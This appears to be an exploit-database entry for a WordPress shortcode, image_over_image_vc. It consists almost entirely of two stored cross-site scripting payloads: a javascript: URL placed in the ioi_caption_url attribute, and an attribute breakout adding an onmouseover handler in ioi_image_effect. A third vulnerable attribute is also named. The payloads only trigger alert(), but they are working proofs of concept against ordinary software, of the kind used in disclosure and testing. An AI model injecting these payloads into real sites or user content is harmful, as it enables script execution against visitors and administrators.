## https://sploitus.com/exploit?id=WPEX-ID:702D7BBE-93CC-4BC2-B41D-CB66E08C99A7
[image_over_image_vc ioi_caption_url='javascript:alert(/XSS/)']
[image_over_image_vc ioi_image_effect='" onmouseover="alert(1)" style="background:red;width:100px;height:100px;display:block;"']
Other affected attribute: ioi_url_target